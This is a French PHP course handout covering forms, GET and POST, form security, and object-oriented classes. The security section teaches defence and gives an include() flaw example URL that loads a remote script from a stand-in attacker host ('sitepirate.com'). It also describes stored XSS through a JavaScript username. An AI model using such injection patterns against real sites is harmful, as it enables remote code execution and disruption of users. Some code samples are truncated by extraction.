Académique Documents
Professionnel Documents
Culture Documents
2018 – 2019
Les formulaires................................................................................................................................................. 3
Introduction ................................................................................................................................................. 3
Fonctionnement ........................................................................................................................................... 3
Créer un formulaire ...................................................................................................................................... 3
L’attribut action ....................................................................................................................................... 3
Méthodes d’envoi des données ............................................................................................................... 4
Traitement des données ............................................................................................................................... 4
Sécurité ........................................................................................................................................................ 4
Faille include() ......................................................................................................................................... 4
La faille XSS (Cross-site scripting) ............................................................................................................. 5
Introduction
Les formulaires sont très souvent utilisés sur les sites afin de pouvoir enregistrer des données
saisies par un internaute, l’utilisateur peut alors interagir avec le site.
Par exemple, lorsqu’un utilisateur doit se connecter sur son espace client, il doit remplir un
formulaire, le valider pour pouvoir traiter ses informations. Si ces identifiants sont corrects, il
sera alors connecté.
Fonctionnement
Un formulaire commence avant tout par une structure HTML permettant la saisie d’informations
par l’utilisateur. Lorsque ce dernier aura renseigné tous les champs demandés, il validera le
formulaire et enverra les données sur une page PHP pour que les données soient traitées.
Créer un formulaire
La création d’un formulaire commence par la déclaration de balise HTML « form » pour indiquer
au navigateur que la suite sera traitée en tant que formulaire. Tous les champs portant un attribut
« name » défini seront récupérable en PHP.
L’attribut action
La valeur définie dans le « action » du formulaire HTML sert à définir vers quelle page sera
envoyé les données. Ici, la page sera « cible.php ». Elle servira à récupérer et traiter les données
saisies par l’internaute (afficher un message, enregistrer en base de données etc).
Dans le cas suivant, la page appelée est externe à la page ou se situe le formulaire. Il est tout à
fait possible d’appeler la même page ou le formulaire est déclaré pour traiter les données.
Il faut savoir qu'il existe plusieurs moyens d'envoyer les données du formulaire. Elles se
définissent dans l’attribut HTML « method » du formulaire.
- get : les données transiteront par l'URL. Cette méthode est assez peu utilisée car on ne
peut pas envoyer beaucoup d'informations dans l'URL (je vous disais dans le chapitre
précédent qu'il était préférable de ne pas dépasser 256 caractères).
- post : les données ne transiteront pas par l'URL, l'utilisateur ne les verra donc pas passer
dans la barre d'adresse. Cette méthode permet d'envoyer autant de données que l'on veut,
ce qui fait qu'on la privilégie le plus souvent. Néanmoins, les données ne sont pas plus
sécurisées qu'avec la méthode GET et il faudra toujours vérifier si tous les paramètres
sont bien présents et valides, comme on l'a fait dans le chapitre précédent. On ne doit
pas plus faire confiance aux formulaires qu'aux URL.
La méthode POST est à utiliser sauf cas particulier spécifié dans un dossier technique lors de
l’utilisation d’un service externe par exemple.
Les données envoyées sur la page de traitement sont accessibles suivant la méthode utilisée.
Pour les récupérer, il faut se baser sur la valeur du name sur un « input », « select » ou autre
balise de saisie HTML.
Par exemple, un name qui a pour valeur « prenom » est envoyé sur la page « cible.php » avec
la méthode POST. Il faudra utiliser « $_POST[‘prenom’] » pour pouvoir accéder à la donnée.
Si l’on souhaite afficher la valeur, il suffit d’utiliser un « echo » :
echo $_POST[‘prenom’] ;
Sécurité
Les formulaires permettent l’échange de données entre l’utilisateur et le site internet, il est donc
un élément sensible et se doit d’être sécurisé.
Faille include()
Il faut faire attention à ne pas inclure dynamiquement des fichiers en utilisant les paramètres
situés dans l’URL. L’exemple suivant permet d’inclure un fichier PHP malveillant en modifiant
simplement le lien vers une page PHP.
http://www.votresite.com/index.php?page=accueil.php
http://www.votresite.com/index.php?page=http://sitepirate.com/troll.php
Cette faille consiste à injecter des données pour exécuter des instructions non désirées. Par
exemple : on peut facilement injecter un script dans le site au moyen de l’URL.
L’objectif de la faille XSS (cross-site scripting) n’est pas nécessairement exploitée au niveau
des bases de données. En fait, elle veut insérer des code (html, css, javascript) sur une page
web. Avec cette faille, vous pouvez par exemple aisément pénaliser tous les utilisateurs d’un
site web. Par exemple en rendant sa navigation infernale avec un alert en javascript qui affichera
une popup à chaque fois que la page est chargée.
Vous jouez à un jeu, peu importe lequel. Au moment de l’inscription, vous mettez une boucle
infinie en javascript en guise de pseudo. Que se passe-t-il ensuite ? Un code javascript sera
stocké en base et à chaque fois que le site aura besoin de faire appel à votre pseudo une boucle
infinie sera déclenchée et le navigateur de tous ceux qui étaient supposés voir votre pseudo
plantera.
L’idée générale est de convertir tous les caractères spéciaux en leurs équivalent en HTML. Les
balises <script> et autres ne seront plus pris en compte par le navigateur.
$prenom = htmlentities($_POST[‘’prenom’’] ;
Définition
Les avantages
L'orienté objet remplace le procédural dans les grands programmes car il présente de multiples
avantages:
- Facilité de compréhension (Permet de regrouper toutes informations sur un objet dans le code.
Si mon programme gère des voitures, l'objet du même nom contiendra la marque de celle-ci, sa
vitesse ainsi que sa couleur, etc...)
- La modularité du code (On peut généralement récupérer 80 % du code d'un projet pour le
réutiliser sur un projet similaire contrairement à la programmation procédurale. De plus les
objets permettent d'éviter la création de code redondant, permettant donc un gain de temps et
donc d'argent).
Introduction
Avant de comprendre comment créer un objet, il faut au préalable savoir comment est composé
une classe. Pour gagner en lisibilité et par convention, le mieux est de mettre une classe dans
un fichier unique avec pour nom de fichier le nom de la classe.
Pour pouvoir l’utiliser, il suffit de l’inclure dans le fichier désiré avec un « require() ».
Une classe commence toujours par le mot « class » suivi de son nom. Par convention, ce dernier
doit avoir sa première lettre en majuscule. Une classe peut contenir ses propres constantes,
variables (appelées "propriétés" ou "attributs"), et fonctions (appelées "méthodes").
Son contenu doit être entre une paire d'accolades contenant la définition des propriétés et des
méthodes appartenant à la classe. Ci-dessous le contenu type d’une classe.
class Personnage
{
public $force;
private $localisation;
private $experience ;
private $degats ;
Constantes
Il est possible de définir des valeurs constantes à l'intérieur d'une classe, qui ne seront pas
modifiables. Les constantes diffèrent des variables normales du fait que l'on n'utilise pas le
symbole $ pour les déclarer ou les utiliser. La visibilité par défaut des constantes de classe est
public.
L’appel des constantes se fait avec le nom de la classe suivi des caractères :: et du nom de la
constante tel que suivant :
Attention les constantes de classe sont allouées une fois par classe, et non pour chaque instance
de classe.
Propriétés
Les propriétés sont des variables au sein d’une classe. Elle se déclarent comme une variable
classique avec un dollar suivi de son nom et un point-virgule pour marquer la fin de
l’instruction. Pour accéder à une variable de classe, il faut utiliser un objet ou la variable pseudo
élément « $this », voir plus loin dans le cours.
public $force ;
Il est préférable de spécifier une visibilité pour chaque déclaration, par défaut, elle est publique,
voir le point suivant pour plus d’informations.
Les variables et les fonctions ont une visibilitée. C’est à dire qu’elles peuvent être accessibles
partout ou limitées à un contexte défini. Cette visibilité permet de sécuriser certaines données
très simplement. Il s'agit des visibilités publiques, privées ou protégées qui sont respectivement
définies dans la classe au moyen des mots-clés « public », « private » et « protected ».
Public
C'est l'accès par défaut de PHP si l'on ne précise aucune visibilité. Tous les attributs et méthodes
qui sont déclarées sans l'un de ces trois mots-clés seront considérés automatiquement comme
publiques.
Le mot-clé « public » indique que les propriétés et méthodes d'une classe seront accessibles
depuis n'importe où dans l’application ou bien dans les classes mères héritées ou classes filles
dérivées (la notion d’héritage sera expliquée un peu plus tard).
Private
Le mot-clé « private » permet de déclarer des attributs et des méthodes qui ne seront visibles et
accessibles directement que depuis l'intérieur de la classe ou elles ont été déclarées. C'est à dire
qu'il devient impossible de lire ou d'écrire la valeur d'un attribut privé directement en faisant :
« $perso->degats ; »
Lorsqu’on est dans la classe ou a été créé la méthode ou la variable, on peut y accéder en
utilisant la variable objet « $this ». Cette notion est décrite un peu plus loin dans le cours.
Protected
L'accès protégé « protected » est un intermédiaire entre l'accès publique et l'accès privé. Il
permet d'utiliser dans la classe enfant les attributs, les méthodes publiques et protégées
déclarées dans la classe parente. Cette relation interclasses s’appelle héritage.
Lorsqu’on est à l’extérieur de la classe et qu’on veut accéder aux élément de la classe, il faut
créer un objet. Pour ce faire, il faut utiliser le mot « new » suivi du nom de la classe et de
parenthèses. La ligne ci-dessous permet de créer un objet de la classe « Personnage ». On dit
alors que « $perso » est une instance de la classe « Personnage ».
Lors de la création d’un objet, la méthode magique « __construct() » est appelée. Elle sert
majoritairement à initialiser les propriétés de l’objet à créer ou exécuter des instructions.
Un objet peut servir à appeler une fonction ou atteindre un attribut (nous le verrons plus tard).
Pour accéder au contenu de la classe, il faut utiliser l’opérateur ->. Ce dernier sert à accéder aux
éléments de la classe. L’exemple ci-dessous appelle une fonction de la classe « Personnage. »
$perso->parler();
Vous pouvez créer autant d’objets que nécessaire pour votre application. Chacun d’entre eux
aura ses propres propriétés. Par exemple, la modification de l’attribut « localisation » sur un
objet de la classe « Personnage », cela n’impactera pas les autres instances.
La pseudo-variable « $this » est disponible lorsqu'une méthode est appelée depuis un contexte
objet. « $this » est une référence à l'objet appelant (habituellement, l'objet auquel la méthode
appartient, mais ce peut être un autre objet si la méthode est appelée de manière statique depuis
le contexte d'un autre objet).
L’affectation d’une variable de classe s’effectue toujours avec le caractère égal suivi de la
donnée.
« $this->localisation = ‘’Lourdes’’ ; »
Les méthodes
Les méthodes dans une classe ne changent pas trop d’une fonction classique. Elles se déclarent
de la même manière sauf qu’il faut préciser leurs portées (public private, protected). Les valeurs
de retour sont également facultatives.
Constructeur
Lors de la déclaration de l’objet avec « new », il est possible d’exécuter un certain nombre
d’instructions. Cette fonction est dite méthode magique par PHP, car elles sont prédéfinies et
réservé.
function __construct() {
echo "Cette méthode a été appelée lors de la création de mon objet !!";
}
C’est relativement utile lorsqu’on souhaite initialiser les propriétés par défaut d’un objet. Vous
pouvez bien évidemment appeler d’autre fonction de la classe à partir de cette méthode ou
exécuter d’autres instructions.
Accesseur et mutateurs
Il peut être nécessaire parfois de venir accéder et modifier depuis l’extérieur de la classe un
attribut d’une classe déclaré en « private ». Pour ce faire, PHP à implémenté des méthodes
magiques. Leurs utilisation fonctionnent uniquement dans un contexte d’objet et par conséquent
ne peuvent pas être utilisés en « static ».
Vous pouvez également créer vos propres fonctions getter et setter. Par convention, il faut que
leurs nom commencent respectivement par « get » et « set » et prennent en paramètre la
nouvelle valeur de la variable pour le « set » et retourner la bonne variable pour le « get ».
Commentaires
Classe
Il est vivement recommandé de commenter son code. Concernant la classe, ils doivent être
placés la ligne avant le mot-clé « class ». Le texte doit être explicite, permettre de comprendre
l’utilité de la classe et d’identifier le ou les auteurs.
/**
* La classe Personnage permet de créer un personnage, de le faire parler et de lui
* infliger des dégâts.
*
* @author Toto <toto[@]toto.com>
*/
Fonctions
La syntaxe pour commenter des fonctions reste la même que pour les classes. Seul les
paramètres changent. Ils définissent les paramètres formels, précise la valeur de retour etc.
/**
* Sert à faire parler un personnage
* @param string $phrase Contenu de la phrase que doit dire le perso
* @return void
*/
public function parler($phrase = ‘’’’)
{
...
}
Il est parfois nécessaire de commenter certaines variables pour faciliter leur compréhension.
Par exemple, sans le commentaire suivant, il aurait fallu analyser le code pour savoir que la
force doit être exprimée en pourcentage.